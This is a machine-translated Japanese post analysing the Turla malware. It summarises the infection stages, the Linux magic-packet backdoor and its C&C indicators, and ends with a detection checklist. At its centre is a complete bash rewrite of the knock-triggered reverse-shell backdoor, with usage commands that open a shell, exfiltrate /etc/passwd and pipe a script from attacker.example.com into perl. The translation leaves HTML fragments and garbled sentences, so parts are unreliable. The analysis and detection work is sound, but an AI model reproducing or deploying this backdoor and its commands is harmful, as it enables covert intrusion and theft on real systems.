TURLA は、大規模で洗練されたマルウェア ファミリの最終段階です。少なくとも 2010 年以降、既知の Windows バージョンがありました。この 40 ページのプレゼンテーションは、どちらのプラットフォームについても、私が見た中で最も包括的なリソースです。
TURLA - 開発と運用
いくつかの Windows ハイライト
- ステージ 0:攻撃ステージ - 感染経路
- ステージ 1:偵察ステージ - 最初のバックドア
- ステージ 2:横方向の動き
- ステージ 3:アクセス確立ステージ - TURLA の展開
- ターゲットへの興味を失ったら、各ステージでやめることができます
ステージ 0:インジェクション ベクター
-
スピアフィッシング (CVE-2013-3346)(CVE-2013-5065)
-
Watering Holes [Adobe Update ソーシャル エンジニアリング / Java エクスプロイト (CVE-2012-1723)、Adobe Flash エクスプロイト、または Internet Explorer 6、7、8 エクスプロイト]
-
サード パーティ サプライヤーの妥協
ステージ 1:偵察ステージ
-
最初のバックドア - WipBot/Epic/TavDig
-
WipBot は、ゼロデイ攻撃と CVE-2013-3346 エクスプロイトの組み合わせです
-
TURLA と同じ名前の関数をエクスポートします。他に類似点なし
-
デバッグとほとんどのマルウェア サンドボックスを中断
-
プロセスは数回ホップし、自身の PE セクションをワイプします
-
詳細は Kaspersky Lab のレポートに記載
ステージ 2:横方向の動き
-
C&Cの改善
-
ネットワークをさらに浸透
-
新しいバックドアを利用する
-
ドメイン管理者の資格情報を取得します
ステージ 3:トゥルラ
-
長期的な侵害のために一部のマシンに投下
-
マシンは何年も検出されずに侵害される可能性があります
その他のリソース
-
The 'Penguin Turla' - Kaspersky Lab (Linux 固有の詳細)
-
シマンテック レポート - Turla
Linux ハイライト
-
C/C++ で書かれた Turla モジュール
-
cd00rに基づく
-
実行可能ファイルは複数のライブラリに対して静的にリンクされています
-
その機能には、非表示のネットワーク通信、任意のリモート コマンドの実行、およびリモート管理が含まれます
-
そのコードの多くは公開ソースに基づいています
-
できません netstatで検出
-
しない root アクセスが必要
Linux 実行可能ファイルの特徴
- ELF 32 ビット LSB 実行可能ファイル、Intel 80386、バージョン 1 (SYSV)、静的にリンク、GNU/Linux 2.2.5 用、削除済み
Linux の静的にリンクされたライブラリ
-
glibc2.3.2 - GNU C ライブラリ
-
openssl v0.9.6 - 古い OpenSSL ライブラリ
-
libpcap - tcpdump のネットワーク キャプチャ ライブラリ
Linux C&C の詳細
-
第 1 段階の C&C はハードコーディングされています。既知の活動 @ news-bbc.podzone[.]org
-
pDNS IP:80.248.65.183
Linux の起動/実行の詳細
-
プロセスには、ID (「認証用のマジック パケット」の一部として使用される数値) と既存のネットワーク インターフェイス名の 2 つのパラメーターが必要です。
-
パラメータは 2 つの異なる方法で入力できます:STDIN から、またはサンプルを起動するドロッパーから
-
ID とインターフェイス名を入力してプロセスを起動すると、バックドアのプロセス PID が返されます
Linux マジック パケット
-
PCAP ライブラリを静的にリンク
-
raw ソケットを取得し、フィルターを適用し、パケットをキャプチャします
-
TCP ヘッダーの ACK 番号、または UDP パケット本体の 2 番目のバイトをチェックします
-
条件が満たされた場合、実行はパケット ペイロードの内容にジャンプし、通常のソケットを作成します
-
バックドアは新しいソケットを使用して Magic Packet の送信元アドレスに接続します
-
バックドアは自身の PID と IP を報告し、コマンドの受信を待ちます
-
到着したコマンドは「/bin/sh -c」スクリプトで実行されます
最終メモ
Linux バージョンに関するすべては、Kaspersky のレポートによるものです。残念ながら、現時点で検出するのは非常に難しいようです.
「Turla フレームワークの Linux バリアントが存在することは知られていましたが、実際にはまだ確認されていません。」 - カスペルスキーラボ
仕組み:
簡単な紹介
それらを検出する方法を見つけるために、私は概念と方法を徹底的に研究しました.
このために、ほぼ同じように動作する小さな bash スクリプトをすばやく作成しました。
そこから、Un*x の概念に関する追加の知識を得て、どのシステムでも機能するこのトロイの木馬を見つけるのに役立つチェックリストを投稿します。
Bash の書き換え Turla ノックドア
この仕組みを理解するために、私はこれを書きました:
(これは、リモート エクスプロイト、ウイルスなどによって、ターゲット ホストで実行する必要があります。)
#!/bin/bash
myIpSum=${1:-1b673d1250747dd45696ff954aceed02}
myIpSalt=SaltMyIP # Making IpSum more difficult to retrieve
printf -v bport %04X ${2:-22} # port to watch for incoming ``knock''
printf -v rport %d ${3:-80} # port listen on attacker host
while true;do
while IFS=': ' read seq loci locp remi remp foo;do
[ -z "${seq//[0-9]}" ] &&
[ "$locp" == "$bport" ] &&
[ "$remp" != "0000" ] &&
myIpAdd=$[16#${remi:6:2}].$[16#${remi:4:2}] &&
myIpAdd+=.$[16#${remi:2:2}].$[16#${remi:0:2}] &&
chksum=($(md5sum <<<$myIpSalt$myIpAdd)) &&
[ "$chksum" == "$myIpSum" ] &&
nc -w 10 -c "/bin/bash ${4} 2>&1" $myIpAdd $rport
done < /proc/net/tcp
read -t .5 -n 1
[ "$REPLY" == "q" ] && exit 0
done
これは完全に検出できないわけではありません でも...
特徴
netstat
を使用することで完全に検出できなくなります 、攻撃者の接続に耳を傾ける- [In->Out] を [RANDOM->80] TCP ポートとして使用して、接続を サーフ のように見せます 接続。
- ローカル ポート 22 で特定の IP (ハッシュ化されているため、読み取り不可) を待ち、なし 無差別の使用 モードも root も必要ありません 特権
- 特定の IP からの着信接続を検出したら (ノック! )、これにより、ポート 80 でこの IP への接続が開かれ、サーフ接続のように見えます bash を提供する 、この接続に戻ります。
注: 本当のトロイの木馬 プロキシ経由でも機能するために、SSL と実際の HTTP ヘッダーを使用できます!!
これは 4 つの引数を受け入れます:
$0 [myIpSum [KnockDoorPort [myPort [-i]]]]
myIpSUm
ソルトされた attacker のハッシュです の IP。md5sum <<<SaltMyIP192.168.1.31
を使用してレンダリングできます (ソルトはスクリプトで変更できます)。KnockDoorPort -> bport
ターゲット ホストで使用される既にバインドされている任意のポートです (ターゲットが SSH を提供する場合のサンプルでは 22 ですが、開いている任意のポートを使用できます)myPort -> rport
着信接続に使用されるローカルの攻撃者のポートです (80 は、発信 HTTP 接続のように見えます。もちろん、攻撃者はホストのルートである必要があります!)-i
フラグを使用してbash
を実行できます インタラクティブに
感染の段階
-
最初のステップは、
shellshock
などのリモート エクスプロイトを使用してこのスクリプトを実行することです。 または任意の バッファ オーバーフロー . -
次に、攻撃者は
knock door
を送信するためにターゲットの IP を知る必要があります。 ポート 22 で -
からを使用 攻撃者の IP (tcp ポート 80 でリッスンするためのルートとして)、ターゲットの着信接続を待ちます。
-
あなたは目標のシェルでロガーです!
bash -c "nc -q 1 < <(sleep 1) $target 22 &>/dev/null & ";nc -l -p -w 3 -q 3 80 <<<"$remoteCommandLine with args"
サンプル:
bash -c 'nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
';nc -l -w 5 -q 3 -p 80 <<<uptime
18:43:00 up 21 days, 6:19, 1 user, load average: 0.00, 0.01, 0.00
または
bash -c 'nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
';nc -l -w 5 -q 3 -p 80 <<<'tar -zcC /etc passwd group 2>/dev/null' |\
tar -ztvf -
-rw-r--r-- root/root 1222 2011-11-19 10:00 passwd
-rw-r--r-- root/root 611 2011-11-19 10:00 group
簡単に検出できない
スクリプトがターゲット ホストで実行され続け、攻撃者の接続が開かれていない間、実行中のスクリプトは netcat
を使用して表示されません .
Knock
ポート 22 で 1 回行われますが、多くの接続が失敗するのは 通常 です。 .実際のシェル接続は、発信 http 接続のように見えます。
答え:
- <ブロック引用>
Linux マシンはどのように感染するのか
これはトロイの木馬です 、したがって、この質問は実際には問題ではありません... (サンプルについては、シェルショックを参照してください)
- <ブロック引用>
権限のエスカレーションが関係していますか、それともすべてが感染したユーザー (つまり、uid 1000) の下でのみ発生していますか?
いいえ、これの目的の 1 つは、攻撃者が 権限昇格 を実行する方法を検索できるようにすることです。 .
- <ブロック引用>
マルウェア コードは、感染したマシンのどこに「生きている」のか
<オール> -
どこでもどこでも:これを添付ファイルとして実行すると、どこに保存されているかがわかります。リモート エクスプロイトから実行された場合、実行後にバイナリが削除される可能性があります。
-
If Turla バイナリ (C で記述) です。持っている Un*x システムのどこかに保存され、実行のために実行フラグが設定されます。最近のファイルシステムは、実行後にそれらを削除することを許可していますが、inode はそのままにしておく必要があります!
これは、システムで実行されているが 標準のPATH
にあるバイナリを検索すると明らかになる可能性があります . -
トロイの木馬の場合 はスクリプトであり、バイナリのみをファイルシステムにリンクする必要があるため、スクリプトを削除するか、
STDIN
として実行することもできます そしてまったく保存されません。
wget -qO - http://attacker.example.com/virus.pl | perl
プラスその他の興味深い詳細
私の bash スクリプトを試してください...
チェックリスト (追加:2015 年 2 月 4 日)
-
forked を検索 pids (親 Pid ==1)
grep PPid:\\s1$ /proc/*/status
-
PATH
からバイナリを実行しないプロセスを検索for pid in $(ps axho pid);do readlink /proc/$pid/exe | sed 's/\/[^\/]*$//'| grep -q "^${PATH//:/$\|^}$" || printf "%10d %-16s %s\n" $pid "$( sed 's/Name:[\t ]*//;q' /proc/$pid/status )" "$( readlink /proc/$pid/exe )" done
-
長時間実行されているプロセスを検索
ps axho pid,etime,user,cmd
...
ps axho pid,etimes,user,cmd | grep -v '[0-9] root ' | sort -nk2
-
スクリプト:隠蔽のようなプロセスを検索:
exe
を比較 とcommand line
for pid in $( grep PPid:\\s1$ /proc/*/status | cut -d/ -f3 ) ;do printf "%10d %-40s %s\n" $pid "$( readlink /proc/$pid/exe)" "$(</proc/$pid/cmdline)" done
-
apparmor
の使用 、tcpスタックにアクセスするプロセスを監視できます (および/または udp スタック ). -
tcpdump
の使用 、強力な作業がありますが、効率的な解決策があります:発信に注意してください あらゆる種類の要求を行い、応答になる接続 必ずしも 直後ですが、次のリクエストをすぐに送信します 最初の回答を受け取った後は、最後のリクエストの回答を気にしません:
exit
を受け取ったら終了しますlogout.
のような指示 、現在のセッションの最後の http リクエストとして駆動される可能性があります 、しかし前に閉じる http 応答の受信 .実際、データ交換が発信接続の通常のスキームと一致しない発信接続を見つける必要がありますが、サーバー開始 - 着信接続 - サーバー停止 のハイブリッド スキームと一致します。 .
もちろん、これは閉じ込める必要があります 永続的に開いている接続がないためです。
-
システムコール統計の作成 (apparm を使用)
<ブロック引用>このアイデアをくれた alphanet に感謝
実行中の各プロセスの統計を作成し、
それらをベイジアン ツールに送信して、通常のプロファイルを計算します
新しいプロセスが通常のプロファイルと一致しない場合に警告を受けるため (または、実行中のプロセスが変更された場合でも)。